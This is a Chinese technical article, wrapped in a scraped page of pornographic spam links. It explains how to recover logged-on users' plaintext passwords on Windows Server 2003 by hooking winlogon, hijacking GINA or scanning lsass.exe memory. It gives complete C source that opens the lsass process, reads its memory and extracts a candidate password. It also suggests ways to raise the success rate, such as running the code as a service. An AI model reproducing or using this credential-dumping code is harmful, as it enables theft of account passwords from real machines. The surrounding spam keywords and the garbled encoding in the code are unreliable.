亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

在win 2003中得到登陸密碼

瀏覽:80日期:2023-10-27 14:59:33
;;在所有NT系統(tǒng)中,都是有幾種方法可以得到登陸用戶(hù)的密碼的。我知道的三種方法可以達(dá)到目的。1.hook了winlogon中幾個(gè)函數(shù),網(wǎng)上也有這類(lèi)型的程序,叫winlogonhijack的項(xiàng)目在rootkit.com中有提供,不過(guò)那個(gè)項(xiàng)目只對(duì)本地登陸用戶(hù)有效,遠(yuǎn)程登陸用戶(hù)無(wú)效。

2.使用Gina和winlogon進(jìn)行套接,只要對(duì)某些函數(shù)執(zhí)行自己的記錄密碼的代碼,就可以將密碼記錄下來(lái),穩(wěn)定性高,而且對(duì)本地或遠(yuǎn)程登陸都有效,不過(guò)現(xiàn)存的gina后門(mén)程序在XP或2003中都有些函數(shù)沒(méi)有被導(dǎo)出過(guò),主要因?yàn)閤p和2003等在winlogon中加入了新的函數(shù)。

3.直接讀取內(nèi)存數(shù)據(jù)得到明文密碼。在NT 4.0/2K中,早就有程序findpass可以直接讀到winlogon進(jìn)程中的內(nèi)存數(shù)據(jù)而直接得到登陸用戶(hù)密碼,因?yàn)樵贜T4.0和2K中,帳號(hào)的信息,包括域名,帳號(hào)和密碼都是有規(guī)律地在winlogon內(nèi)存中的特定地址中,所以可以很簡(jiǎn)單就得到。但在XP和2003系統(tǒng)中,這樣方法是無(wú)效的了,似乎我們是沒(méi)有辦法直接讀出明文地址了。下面我們就來(lái)談?wù)勅绾蜗骹indpass在NT 4.0和2K在,在server 2003中得到登陸用戶(hù)的密碼。

雖然XP和2003是不象以前的NT系統(tǒng)那樣將登陸用戶(hù)信息保存在winlogon進(jìn)程的內(nèi)存地址內(nèi),但是基Lsass進(jìn)程對(duì)于要處理些信息時(shí),需要得到明文的登陸用戶(hù)密碼,所以登陸用戶(hù)的密碼會(huì)在Lsass進(jìn)程中出現(xiàn)(微軟沒(méi)有將密碼在Lsass進(jìn)程中進(jìn)行加密,微軟的說(shuō)法是因?yàn)長(zhǎng)sass需要得到明文的密碼,就算將密碼加密,也都只能用可逆的方法加密,只要跟蹤lsass的操作,一樣可以得到明文密碼,所以微軟使用了比較懶惰的方法,可能也是為了加快響應(yīng)速度,所以將明文密碼更是放在lsass進(jìn)程內(nèi)存內(nèi))。說(shuō)到這里,大家心里都清楚了,登陸用戶(hù)的密碼是在lsass進(jìn)程的內(nèi)存中。對(duì),就是這么一回事,但是要得到這個(gè)明文密碼,真是象使用NT 4.0和2K下的findpass那樣容易嗎?事實(shí)上并不是那么容易,因?yàn)橐韵聨讉€(gè)原因:

A.密碼存放在lsass進(jìn)程中的內(nèi)存地址是沒(méi)有規(guī)律的

B.密碼有可能被最后登陸的用戶(hù)復(fù)蓋(例如管理員abc從本地登陸,然后管理員bbb從遠(yuǎn)程登陸,然后管理員bbb注銷(xiāo)終端,存放在lsass.exe進(jìn)程內(nèi)存中的密碼,還是管理員bbb的密碼),又或者用戶(hù)登陸后,然后注銷(xiāo)了,那么我們就算得到了密碼,也不知道是哪個(gè)用戶(hù)的密碼。

C.密碼前后的數(shù)據(jù)也是沒(méi)有規(guī)律的,如果有規(guī)律,例如密碼前的數(shù)據(jù),一定是有一段全是01字符的數(shù)據(jù)段,那么定位密碼就簡(jiǎn)單。

原因A和C都給我們帶來(lái)定位密碼的困難,原B就帶來(lái)不能確定密碼和帳號(hào)對(duì)應(yīng)的問(wèn)題.看來(lái)微軟在新的系統(tǒng)還是做過(guò)點(diǎn)功夫。不過(guò)我們是不會(huì)放棄的,就算是碰碰運(yùn)氣,也看能不能得到密碼,反正就算失敗,也沒(méi)什么關(guān)系。

最后的代碼,是我寫(xiě)來(lái)測(cè)試是不是能在2003的系統(tǒng)中得到登際用戶(hù)的密碼,結(jié)果也正好象我們上面的分析一樣(當(dāng)然了,上面的結(jié)果是用這程序測(cè)測(cè)得到的)。成功率當(dāng)然不高,因?yàn)槭芴嘣蛩绊?,定位密碼上的困難或者無(wú)法定位,或者得到不是密碼的信息等等的原因,都令失敗率顯得相當(dāng)高,不過(guò)總還是一種方法,或者將來(lái)有人可以準(zhǔn)確定位到,那就是令人高興了。雖然說(shuō)失敗率高,但在一種情況下,成功率卻是很高的,那就是管理員只是在本地或終端中登陸了,以后再?zèng)]有用戶(hù)從本地或終端登陸過(guò),而且管理員也沒(méi)有鎖上過(guò)系統(tǒng),那么成功率就會(huì)是相當(dāng)高的了。

提高成功率的兩種做法:

1.程序直接寫(xiě)成服務(wù),定時(shí)檢查本地或遠(yuǎn)程登陸(其實(shí)沒(méi)什么分別),當(dāng)檢測(cè)到登陸后,去搜索lsass進(jìn)程內(nèi)存,嘗試得到密碼。2.程序模擬一個(gè)登陸(使用LogonUser()就能搞定),因?yàn)槭褂肔ogonUser()這個(gè)API,你要提供帳號(hào)名和對(duì)應(yīng)的正確的密碼,才可以成功,然后你就可以去搜索lsass進(jìn)程內(nèi)存。因?yàn)橹烂艽a是什么,我們就能定位到密碼是保存在什么地方。因?yàn)榈顷懹脩?hù)的密碼都是保存在同一個(gè)地址或相離不遠(yuǎn)的地址中,模擬登陸和搜索,可以先定位以后登陸的用戶(hù)的密碼會(huì)大約保存在什么位置。

無(wú)論怎說(shuō),三種方法中,最穩(wěn)定,最安全的方法還是使用Gina那種方法.Hijack了winlogn一些API的方法,畢竟是改動(dòng)了系統(tǒng)的東西,對(duì)系統(tǒng)的穩(wěn)定性來(lái)說(shuō),會(huì)有考驗(yàn),直接搜索lsass進(jìn)程內(nèi)存的方法呢,雖說(shuō)也是困難,但準(zhǔn)確性,成功率卻又是低。

下面的代碼使用的是很笨,而且很原始的搜索方法,主要是搜索Lsass內(nèi)存中'LocalSystem Remote Procedure'這個(gè)字符串,因?yàn)樵谙喈?dāng)多的測(cè)試中,密碼都是保存在有這個(gè)字符串的地址后一點(diǎn)的位置中,當(dāng)然了,很多系統(tǒng)并沒(méi)有這個(gè)字符串,或者就算有,我們得到的都是錯(cuò)誤的密碼。

代碼: //******************************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: 12/15/2004 // Purpose: To Demonstrate Searching Logon User PassWord On 2003 Box,The Method //; Used Is Pretty Unwise,But This May Be The Only Way To RevIEw The //; Logon User's Password On Windows 2003. // Test PlatForm: Windows 2003 // Compiled On: VC++ 6.0 //******************************************************************************** #include <stdio.h> #include <windows.h> #include <tlhelp32.h>

#define BaseAddress 0x002b5000;;;;;// The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable

char; Password[MAX_PATH] = // Store The Found Password

// Function ProtoType Declaration //------------------------------------------------------------------------------------------------------ BOOL; FindPassword(DWORD PID);intSearch(char *Buffer,const UINT nSize);DWORD GetLsassPID();BOOL; Is2003();//------------------------------------------------------------------------------------------------------ // End Of Fucntion ProtoType Declaration

int main(){DWORD PID = 0;printf('Windows 2003 Password Viewer V1.0 By WinEggDropnn');

if (!Is2003());;;;;// Check Out If The Box Is 2003 { printf('The Program Can't Only Run On Windows 2003 Platformn'); return -1;}

PID = GetLsassPID() // Get The Lsass.exe PID

if (PID == 0);;;;;// Fail To Get PID If Returning Zerom { return -1;}

FindPassword(PID) // Find The Password From Lsass.exe Memory return 0;}// End main()

//------------------------------------------------------------------------------------ // Purpose: Search The Memory & Try To Get The Password // Return Type: int // Parameters:;;//In: char *Buffer;;;;;--> The Memory Buffer To Search;;;;//; Out: const UINT nSize--> The Size Of The Memory Buffer // Note: The Program Tries To Locate The Magic String 'LocalSystem Remote Procedure', //;;;;Since The Password Is Near The Above Location,But It's Not Always True That //;;;;We Will Find The Magic String,Or Even We Find It,The Password May Be Located //;;;;At Some Other Place.We Only Look For Luck //------------------------------------------------------------------------------------ int Search(char *Buffer,const UINT nSize){UINT OffSet = 0;UINT i = 0;UINT j = 0 ;UINT Count = 0;if (Buffer == NULL){ return -1;}for (i = 0 ; i < nSize ; i++){ /* The Below Is To Find The Magic String,Why So Complicated?That Will Thank MS.The Separation From Word To Word Is Not Separated With A Space,But With A Ending Character,So Any Search API Like strstr() Will Fail To Locate The Magic String,We Have To Do It Manually And Slowly */ if (Buffer == 'L') { OffSet = 0; if (strnicmp(&Buffer[i + OffSet],'LocalSystem',strlen('LocalSystem')) == 0) { OffSet += strlen('LocalSystem') + 1; if (strnicmp(&Buffer[i + OffSet],'Remote',strlen('Remote')) == 0) { OffSet += strlen('Remote') + 1; if (strnicmp(&Buffer[i + OffSet],'Procedure',strlen('Procedure')) == 0) { OffSet += strlen('Procedure') + 1; if (strnicmp(&Buffer[i + OffSet],'Call',strlen('Call')) == 0) { i += OffSet; break; } } } } }}if (i < nSize){ ZeroMemory(Password,sizeof(Password)); for (; i < nSize ; i++) { if (Buffer == 0x02 && Buffer[i + 1] == 0 && Buffer[i + 2] == 0 && Buffer[i + 3] == 0 && Buffer[i + 4] == 0 && Buffer[i + 5] == 0 && Buffer[i + 6] == 0) { /* The Below Code Is To Retrieve The Password.Since The String Is In Unicode Format,So We Will Do It In That Way */ j = i + 7; for (; j < nSize; j += 2) { if (Buffer[j] >0) { Password[Count++] = Buffer[j]; } else { break; } } return i + 7 // One Flag To Indicate We Find The Password } }}return -1 // Well,We Fail To Find The Password,And This Always Happens }// End Search

//------------------------------------------------------------------------------------ // Purpose: To Get The Lsass.exe PID // Return Type: DWORD // Parameters:; None //------------------------------------------------------------------------------------ DWORD GetLsassPID(){HANDLE hProcessSnap;HANDLE hProcess = NULL;PROCESSENTRY32 pe32;DWORD PID = 0;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if( hProcessSnap == INVALID_HANDLE_VALUE ){ printf('Fail To Create Snap Shotn'); return 0;}

pe32.dwSize = sizeof(PROCESSENTRY32);

if( !Process32First(hProcessSnap, &pe32)){ CloseHandle(hProcessSnap);;;// Must clean up the snapshot object! return 0;}

do{ if (strcmpi(pe32.szExeFile,'Lsass.EXE') == 0) { PID = pe32.th32ProcessID; break; }}while(Process32Next( hProcessSnap, &pe32));

CloseHandle( hProcessSnap);return PID;}// End GetLsassPID()

//------------------------------------------------------------------------------------ // Purpose: To Find The Password // Return Type: BOOLEAN // Parameters:;;//In: DWORD PID;;;;;-> The Lsass.exe's PID //------------------------------------------------------------------------------------ BOOL FindPassword(DWORD PID){HANDLE hProcess = NULL;charBuffer[5 * 1024] = ;DWORD; ByteGet = 0;int;Found = -1;

hProcess = OpenProcess(PROCESS_VM_READ,F(xiàn)ALSE,PID) // Open Process if (hProcess == NULL){ printf('Fail To Open Processn'); return FALSE;}

if (!ReadProcessMemory(hProcess,(PVOID)BaseAddress,Buffer,5 * 1024,&ByteGet));;;;;// Read The Memory From Lsass.exe { printf('Fail To Read Memoryn'); CloseHandle(hProcess); return FALSE;}

CloseHandle(hProcess); Found = Search(Buffer,ByteGet) // Search The Password if (Found >= 0);;;;;// We May Find The Password { if (strlen(Password) > 0);;;;;// Yes,We Find The Password Even We Don't Know If The Password Is Correct Or Not { printf('Found Password At #0x%x -> '%s'n',F(xiàn)ound + BaseAddress,Password); }}else{ printf('Fail To Find The Passwordn');}return TRUE;}// End FindPassword

//------------------------------------------------------------------------------------ // Purpose: Check If The Box Is Windows 2003 // Return Type: BOOLEAN // Parameters:; None //------------------------------------------------------------------------------------ BOOL Is2003(){OSVERSIONINFOEX osvi;BOOL b0sVersionInfoEx;ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);

if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi))){ osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);}return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2);}// End Is2003() // End Of File

附件程序相當(dāng)于密碼定位程序,用來(lái)測(cè)試在lsass內(nèi)存中搜索指定的字符串或模擬登陸的密碼.

用法:

1.locator 字符串 -> 在lsass進(jìn)程內(nèi)存中搜索指定的那個(gè)'字符串',返回確定的位置

2.Locator 用戶(hù)名 密碼 -> 在系統(tǒng)中建立一個(gè)參數(shù)指定的用戶(hù),并進(jìn)行模擬登陸,然后搜索'密碼'在lsass進(jìn)程內(nèi)存中的位置,生成的帳戶(hù)程序運(yùn)行完后會(huì)自動(dòng)刪除。

標(biāo)簽: Windows系統(tǒng) win2003
相關(guān)文章:
主站蜘蛛池模板: 激情三级hd中文字幕 | 国产精品嫩草影院在线观看免费 | 亚洲欧美性视频 | 国外成人在线视频 | 午夜国产精品久久久久 | 亚洲免费三区 | 午夜性a一级毛片 | 久久久国产亚洲精品 | 国产爽片在线观看 | 国模沟沟一区二区三区 | 欧美在线免费观看视频 | 午夜亚洲精品久久久久久 | 亚洲成人99 | 国产黄色片网站 | 日韩毛片大全免费高清 | 国产黄色片在线免费观看 | 中文字幕乱码一区三区免费 | 91久久香蕉国产线看观看软件 | 一级爱做片免费观看久久 | 国产免费破外女真实出血视频 | 亚洲视频不卡 | 91欧美一区二区三区综合在线 | 日韩一级欧美一级毛片在 | 免费观看国产精品 | 麻豆精品a在线观看 | 国产a级特黄的片子视频免费 | 国产亚洲精品麻豆一区二区 | 国产成人久久久精品一区二区三区 | 国产成人精品1沈娜娜 | 特级毛片aaa免费版 特级毛片a级毛免费播放 | 国产3p在线播放 | 国产精品麻豆高清在线观看 | 成人性色生活片免费看爆迷你毛片 | 嘿嘿嘿视频在线观看 | 本道久久综合88全国最大色 | 成人福利网址永久在线观看 | 美国一级片免费看 | 一级片毛片| 好爽好黄的视频 | 在线观看www日本免费网站 | 91精品国产91久久久久久 |